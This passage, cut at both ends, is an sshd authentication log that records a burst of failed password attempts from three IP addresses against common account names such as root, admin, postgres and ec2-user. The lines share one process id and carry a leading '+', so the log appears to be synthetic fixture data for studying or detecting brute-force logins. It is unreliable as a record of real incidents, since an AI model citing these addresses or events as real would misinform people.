45.14.225.45 port 65064 ssh2 +Aug 26 10:02:45 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 49115 ssh2 +Aug 26 10:02:45 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 38395 ssh2 +Aug 26 10:02:46 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 51738 ssh2 +Aug 26 10:02:46 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 17416 ssh2 +Aug 26 10:02:46 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 53879 ssh2 +Aug 26 10:02:46 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 30544 ssh2 +Aug 26 10:02:47 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 13965 ssh2 +Aug 26 10:02:47 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 19300 ssh2 +Aug 26 10:02:47 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 34007 ssh2 +Aug 26 10:02:47 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 52546 ssh2 +Aug 26 10:02:47 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 37607 ssh2 +Aug 26 10:02:49 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 30670 ssh2 +Aug 26 10:02:49 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 64182 ssh2 +Aug 26 10:02:50 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 63860 ssh2 +Aug 26 10:02:51 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 35249 ssh2 +Aug 26 10:02:51 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 41087 ssh2 +Aug 26 10:02:51 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 33088 ssh2 +Aug 26 10:02:51 auth-server sshd[2492]: Failed password for user from 103.146.184.21 port 57896 ssh2 +Aug 26 10:02:52 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 55721 ssh2 +Aug 26 10:02:52 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 22416 ssh2 +Aug 26 10:02:52 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 13205 ssh2 +Aug 26 10:02:54 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 28740 ssh2 +Aug 26 10:02:54 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 37015 ssh2 +Aug 26 10:02:55 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 28927 ssh2 +Aug 26 10:02:56 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 11528 ssh2 +Aug 26 10:02:56 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 57556 ssh2 +Aug 26 10:02:56 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 50104 ssh2 +Aug 26 10:02:56 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 21821 ssh2 +Aug 26 10:02:57 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 50399 ssh2 +Aug 26 10:02:57 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 63517 ssh2 +Aug 26 10:02:57 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 36565 ssh2 +Aug 26 10:02:57 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 47573 ssh2 +Aug 26 10:02:57 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 47337 ssh2 +Aug 26 10:02:58 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 39280 ssh2 +Aug 26 10:02:59 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 62487 ssh2 +Aug 26 10:03:00 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 43722 ssh2 +Aug 26 10:03:01 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 11877 ssh2 +Aug 26 10:03:01 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 45246 ssh2 +Aug 26 10:03:01 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 36332 ssh2 +Aug 26 10:03:01 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 61415 ssh2 +Aug 26 10:03:02 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 35662 ssh2 +Aug 26 10:03:02 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 63423 ssh2 +Aug 26 10:03:02 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 10922 ssh2 +Aug 26 10:03:02 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 33637 ssh2 +Aug 26 10:03:02 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 62182 ssh2 +Aug 26 10:03:03 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 50123 ssh2 +Aug 26 10:03:03 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 15739 ssh2 +Aug 26 10:03:04 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 46070 ssh2 +Aug 26 10:03:04 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 50097 ssh2 +Aug 26 10:03:05 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 21320 ssh2 +Aug 26 10:03:06 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 19723 ssh2 +Aug 26 10:03:06 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 61186 ssh2 +Aug 26 10:03:07 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 62760 ssh2 +Aug 26 10:03:07 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 35753 ssh2 +Aug 26 10:03:07 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 49321 ssh2 +Aug 26 10:03:07 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 36576 ssh2 +Aug 26 10:03:08 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 15183 ssh2 +Aug 26 10:03:08 auth-server sshd[2492]: Failed password for support from 185.191.171.12 port 47890 ssh2 +Aug 26 10:03:09 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 57976 ssh2 +Aug 26 10:03:10 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 37234 ssh2 +Aug 26 10:03:10 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 21592 ssh2 +Aug 26 10:03:10 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 35109 ssh2 +Aug 26 10:03:10 auth-server sshd[2492]: Failed password for root from 103.146.184.21 port 14416 ssh2 +Aug 26 10:03:10 auth-server sshd[2492]: Failed password for user from 103.146.184.21 port 38809 ssh2 +Aug 26 10:03:11 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 30703 ssh2 +Aug 26 10:03:11 auth-server sshd[2492]: Failed password for user from 185.191.171.12 port 61432 ssh2 +Aug 26 10:03:11 auth-server sshd[2492]: Failed password for webmaster from 185.191.171.12 port 34580 ssh2 +Aug 26 10:03:11 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 57064 ssh2 +Aug 26 10:03:12 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 20048 ssh2 +Aug 26 10:03:12 auth-server sshd[2492]: Failed password for user from 103.146.184.21 port 47602 ssh2 +Aug 26 10:03:13 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 47715 ssh2 +Aug 26 10:03:14 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 28767 ssh2 +Aug 26 10:03:15 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 30960 ssh2 +Aug 26 10:03:15 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 30753 ssh2 +Aug 26 10:03:15 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 39334 ssh2 +Aug 26 10:03:15 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 22957 ssh2 +Aug 26 10:03:16 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 44185 ssh2 +Aug 26 10:03:16 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 63445 ssh2 +Aug 26 10:03:17 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 31854 ssh2 +Aug 26 10:03:17 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 11536 ssh2 +Aug 26 10:03:18 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 44661 ssh2 +Aug 26 10:03:18 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 28656 ssh2 +Aug 26 10:03:19 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 35328 ssh2 +Aug 26 10:03:19 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 48678 ssh2 +Aug 26 10:03:19 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 59329 ssh2 +Aug 26 10:03:19 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 53180 ssh2 +Aug 26 10:03:20 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 59584 ssh2 +Aug 26 10:03:21 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 36586 ssh2 +Aug 26 10:03:21 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 58521 ssh2 +Aug 26 10:03:22 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 23258 ssh2 +Aug 26 10:03:22 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 60679 ssh2 +Aug 26 10:03:22 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 21143 ssh2 +Aug 26 10:03:23 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 14048 ssh2 +Aug 26 10:03:24 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 20561 ssh2 +Aug 26 10:03:24 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 36546 ssh2 +Aug 26 10:03:27 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 21999 ssh2 +Aug 26 10:03:27 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 30802 ssh2 +Aug 26 10:03:27 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 29845 ssh2 +Aug 26 10:03:28 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 33441 ssh2 +Aug 26 10:03:29 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 23946 ssh2 +Aug 26 10:03:29 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 53050 ssh2 +Aug 26 10:03:29 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 40887 ssh2 +Aug 26 10:03:29 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 45202 ssh2 +Aug 26 10:03:30 auth-server sshd[2492]: Failed password for admin from 185.191.171.12 port 15953 ssh2 +Aug 26 10:03:30 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 10200 ssh2 +Aug 26 10:03:30 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 28479 ssh2 +Aug 26 10:03:30 auth-server sshd[2492]: Failed password for user from 103.146.184.21 port 44974 ssh2 +Aug 26 10:03:31 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 54259 ssh2 +Aug 26 10:03:31 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 11043 ssh2 +Aug 26 10:03:32 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 59828 ssh2 +Aug 26 10:03:32 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 41791 ssh2 +Aug 26 10:03:32 auth-server sshd[2492]: Failed password for support from 45.14.225.45 port 32800 ssh2 +Aug 26 10:03:33 auth-server sshd[2492]: Failed password for admin from 45.14.225.45 port 13121 ssh2 +Aug 26 10:03:33 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 19157 ssh2 +Aug 26 10:03:33 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 16540 ssh2 +Aug 26 10:03:33 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 15397 ssh2 +Aug 26 10:03:34 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 38671 ssh2 +Aug 26 10:03:35 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 45058 ssh2 +Aug 26 10:03:35 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 52045 ssh2 +Aug 26 10:03:35 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 25767 ssh2 +Aug 26 10:03:36 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 10828 ssh2 +Aug 26 10:03:36 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 49090 ssh2 +Aug 26 10:03:36 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 43825 ssh2 +Aug 26 10:03:36 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 21957 ssh2 +Aug 26 10:03:37 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 54972 ssh2 +Aug 26 10:03:37 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 49950 ssh2 +Aug 26 10:03:39 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 33608 ssh2 +Aug 26 10:03:39 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 13678 ssh2 +Aug 26 10:03:39 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 34480 ssh2 +Aug 26 10:03:40 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 16264 ssh2 +Aug 26 10:03:40 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 22936 ssh2 +Aug 26 10:03:40 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 28953 ssh2 +Aug 26 10:03:41 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 37422 ssh2 +Aug 26 10:03:41 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 10498 ssh2 +Aug 26 10:03:42 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 33485 ssh2 +Aug 26 10:03:43 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 63995 ssh2 +Aug 26 10:03:43 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 43379 ssh2 +Aug 26 10:03:43 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 22395 ssh2 +Aug 26 10:03:43 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 10805 ssh2 +Aug 26 10:03:44 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 39440 ssh2 +Aug 26 10:03:44 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 56301 ssh2 +Aug 26 10:03:45 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 42120 ssh2 +Aug 26 10:03:45 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 14440 ssh2 +Aug 26 10:03:45 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 10429 ssh2 +Aug 26 10:03:46 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 54498 ssh2 +Aug 26 10:03:46 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 23598 ssh2 +Aug 26 10:03:46 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 54074 ssh2 +Aug 26 10:03:47 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 37639 ssh2 +Aug 26 10:03:48 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 13135 ssh2 +Aug 26 10:03:48 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 10575 ssh2 +Aug 26 10:03:48 auth-server sshd[2492]: Failed password for support from 103.146.184.21 port 29755 ssh2 +Aug 26 10:03:49 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 24127 ssh2 +Aug 26 10:03:49 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 52909 ssh2 +Aug 26 10:03:49 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 12755 ssh2 +Aug 26 10:03:50 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 30243 ssh2 +Aug 26 10:03:50 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 29799 ssh2 +Aug 26 10:03:52 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 29463 ssh2 +Aug 26 10:03:53 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 12338 ssh2 +Aug 26 10:03:53 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 24149 ssh2 +Aug 26 10:03:54 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 42523 ssh2 +Aug 26 10:03:54 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 18162 ssh2 +Aug 26 10:03:54 auth-server sshd[2492]: Failed password for root from 185.191.171.12 port 52206 ssh2 +Aug 26 10:03:55 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 14538 ssh2 +Aug 26 10:03:55 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 41139 ssh2 +Aug 26 10:03:56 auth-server sshd[2492]: Failed password for guest from 185.191.171.12 port 59307 ssh2 +Aug 26 10:03:56 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 62722 ssh2 +Aug 26 10:03:57 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 43935 ssh2 +Aug 26 10:03:57 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 15588 ssh2 +Aug 26 10:03:58 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 64126 ssh2 +Aug 26 10:03:58 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 20069 ssh2 +Aug 26 10:03:58 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 59123 ssh2 +Aug 26 10:03:58 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 18008 ssh2 +Aug 26 10:03:59 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 37363 ssh2 +Aug 26 10:03:59 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 11916 ssh2 +Aug 26 10:03:59 auth-server sshd[2492]: Failed password for user from 45.14.225.45 port 37277 ssh2 +Aug 26 10:04:00 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 63623 ssh2 +Aug 26 10:04:00 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 47565 ssh2 +Aug 26 10:04:00 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 21493 ssh2 +Aug 26 10:04:00 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 44253 ssh2 +Aug 26 10:04:01 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 29772 ssh2 +Aug 26 10:04:02 auth-server sshd[2492]: Failed password for admin from 45.14.225.45 port 52781 ssh2 +Aug 26 10:04:02 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 32657 ssh2 +Aug 26 10:04:02 auth-server sshd[2492]: Failed password for invalid user system from 45.14.225.45 port 63709 ssh2 +Aug 26 10:04:03 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 25647 ssh2 +Aug 26 10:04:03 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 34106 ssh2 +Aug 26 10:04:04 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 10561 ssh2 +Aug 26 10:04:04 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 17964 ssh2 +Aug 26 10:04:04 auth-server sshd[2492]: Failed password for test from 103.146.184.21 port 57679 ssh2 +Aug 26 10:04:04 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 65395 ssh2 +Aug 26 10:04:05 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 22839 ssh2 +Aug 26 10:04:05 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 48242 ssh2 +Aug 26 10:04:05 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 19827 ssh2 +Aug 26 10:04:05 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 45226 ssh2 +Aug 26 10:04:05 auth-server sshd[2492]: Failed password for webmaster from 185.191.171.12 port 16456 ssh2 +Aug 26 10:04:06 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 54339 ssh2 +Aug 26 10:04:07 auth-server sshd[2492]: Failed password for admin from 103.146.184.21 port 18977 ssh2 +Aug 26 10:04:07 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 41144 ssh2 +Aug 26 10:04:07 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 18254 ssh2 +Aug 26 10:04:07 auth-server sshd[2492]: Failed password for root from 103.146.184.21 port 32271 ssh2 +Aug 26 10:04:08 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 62018 ssh2 +Aug 26 10:04:08 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 55559 ssh2 +Aug 26 10:04:09 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 61678 ssh2 +Aug 26 10:04:09 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 42766 ssh2 +Aug 26 10:04:09 auth-server sshd[2492]: Failed password for support from 185.191.171.12 port 10089 ssh2 +Aug 26 10:04:10 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 28582 ssh2 +Aug 26 10:04:10 auth-server sshd[2492]: Failed password for root from 103.146.184.21 port 17644 ssh2 +Aug 26 10:04:10 auth-server sshd[2492]: Failed password for user from 185.191.171.12 port 34149 ssh2 +Aug 26 10:04:11 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 48476 ssh2 +Aug 26 10:04:11 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 21350 ssh2 +Aug 26 10:04:11 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 18540 ssh2 +Aug 26 10:04:12 auth-server sshd[2492]: Failed password for invalid user deploy from 103.146.184.21 port 30230 ssh2 +Aug 26 10:04:12 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 54885 ssh2 +Aug 26 10:04:12 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 24241 ssh2 +Aug 26 10:04:12 auth-server sshd[2492]: Failed password for invalid user oracle from 45.14.225.45 port 63698 ssh2 +Aug 26 10:04:12 auth-server sshd[2492]: Failed password for user from 185.191.171.12 port 24369 ssh2 +Aug 26 10:04:13 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 55574 ssh2 +Aug 26 10:04:13 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 58398 ssh2 +Aug 26 10:04:13 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 55072 ssh2 +Aug 26 10:04:13 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 40057 ssh2 +Aug 26 10:04:16 auth-server sshd[2492]: Failed password for invalid user backup from 45.14.225.45 port 16371 ssh2 +Aug 26 10:04:17 auth-server sshd[2492]: Failed password for admin from 45.14.225.45 port 14364 ssh2 +Aug 26 10:04:17 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 16711 ssh2 +Aug 26 10:04:17 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 50450 ssh2 +Aug 26 10:04:17 auth-server sshd[2492]: Failed password for invalid user system from 103.146.184.21 port 32160 ssh2 +Aug 26 10:04:17 auth-server sshd[2492]: Failed password for root from 45.14.225.45 port 50661 ssh2 +Aug 26 10:04:17 auth-server sshd[2492]: Failed password for webmaster from 45.14.225.45 port 47787 ssh2 +Aug 26 10:04:18 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 53664 ssh2 +Aug 26 10:04:18 auth-server sshd[2492]: Failed password for invalid user postgres from 45.14.225.45 port 21239 ssh2 +Aug 26 10:04:19 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 30923 ssh2 +Aug 26 10:04:19 auth-server sshd[2492]: Failed password for invalid user ec2-user from 103.146.184.21 port 47666 ssh2 +Aug 26 10:04:19 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 54331 ssh2 +Aug 26 10:04:20 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 13202 ssh2 +Aug 26 10:04:20 auth-server sshd[2492]: Failed password for guest from 45.14.225.45 port 43830 ssh2 +Aug 26 10:04:20 auth-server sshd[2492]: Failed password for invalid user ec2-user from 45.14.225.45 port 30366 ssh2 +Aug 26 10:04:20 auth-server sshd[2492]: Failed password for invalid user oracle from 185.191.171.12 port 38577 ssh2 +Aug 26 10:04:20 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 52102 ssh2 +Aug 26 10:04:21 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 42832 ssh2 +Aug 26 10:04:21 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 50305 ssh2 +Aug 26 10:04:22 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 63334 ssh2 +Aug 26 10:04:22 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 50330 ssh2 +Aug 26 10:04:23 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 15745 ssh2 +Aug 26 10:04:23 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 11616 ssh2 +Aug 26 10:04:23 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 49616 ssh2 +Aug 26 10:04:24 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 58270 ssh2 +Aug 26 10:04:24 auth-server sshd[2492]: Failed password for user from 185.191.171.12 port 40385 ssh2 +Aug 26 10:04:25 auth-server sshd[2492]: Failed password for dev from 45.14.225.45 port 32186 ssh2 +Aug 26 10:04:25 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 36740 ssh2 +Aug 26 10:04:26 auth-server sshd[2492]: Failed password for dev from 103.146.184.21 port 49647 ssh2 +Aug 26 10:04:26 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 14467 ssh2 +Aug 26 10:04:27 auth-server sshd[2492]: Failed password for guest from 103.146.184.21 port 39146 ssh2 +Aug 26 10:04:27 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 58988 ssh2 +Aug 26 10:04:27 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 11307 ssh2 +Aug 26 10:04:27 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 24617 ssh2 +Aug 26 10:04:28 auth-server sshd[2492]: Failed password for invalid user system from 185.191.171.12 port 65453 ssh2 +Aug 26 10:04:29 auth-server sshd[2492]: Failed password for invalid user backup from 103.146.184.21 port 20967 ssh2 +Aug 26 10:04:29 auth-server sshd[2492]: Failed password for invalid user deploy from 185.191.171.12 port 16181 ssh2 +Aug 26 10:04:29 auth-server sshd[2492]: Failed password for invalid user postgres from 103.146.184.21 port 24107 ssh2 +Aug 26 10:04:30 auth-server sshd[2492]: Failed password for dev from 185.191.171.12 port 45024 ssh2 +Aug 26 10:04:30 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 19705 ssh2 +Aug 26 10:04:30 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 25268 ssh2 +Aug 26 10:04:31 auth-server sshd[2492]: Failed password for invalid user backup from 185.191.171.12 port 27473 ssh2 +Aug 26 10:04:31 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 17904 ssh2 +Aug 26 10:04:32 auth-server sshd[2492]: Failed password for invalid user api from 103.146.184.21 port 38683 ssh2 +Aug 26 10:04:32 auth-server sshd[2492]: Failed password for invalid user api from 45.14.225.45 port 11438 ssh2 +Aug 26 10:04:32 auth-server sshd[2492]: Failed password for invalid user oracle from 103.146.184.21 port 43104 ssh2 +Aug 26 10:04:32 auth-server sshd[2492]: Failed password for test from 185.191.171.12 port 18388 ssh2 +Aug 26 10:04:33 auth-server sshd[2492]: Failed password for invalid user deploy from 45.14.225.45 port 39039 ssh2 +Aug 26 10:04:33 auth-server sshd[2492]: Failed password for invalid user ec2-user from 185.191.171.12 port 11463 ssh2 +Aug 26 10:04:33 auth-server sshd[2492]: Failed password for invalid user postgres from 185.191.171.12 port 28505 ssh2 +Aug 26 10:04:33 auth-server sshd[2492]: Failed password for test from 45.14.225.45 port 30445 ssh2 +Aug 26 10:04:34 auth-server sshd[2492]: Failed password for webmaster from 103.146.184.21 port 55229 ssh2 +Aug 26 10:04:35 auth-server sshd[2492]: Failed password for admin from 45.14.225.45 port 11471 ssh2 +Aug 26 10:04:35 auth-server sshd[2492]: Failed password for invalid user api from 185.191.171.12 port 59767 ssh2 +Aug 26 10:04:35 auth-server sshd[2492]: Failed password for 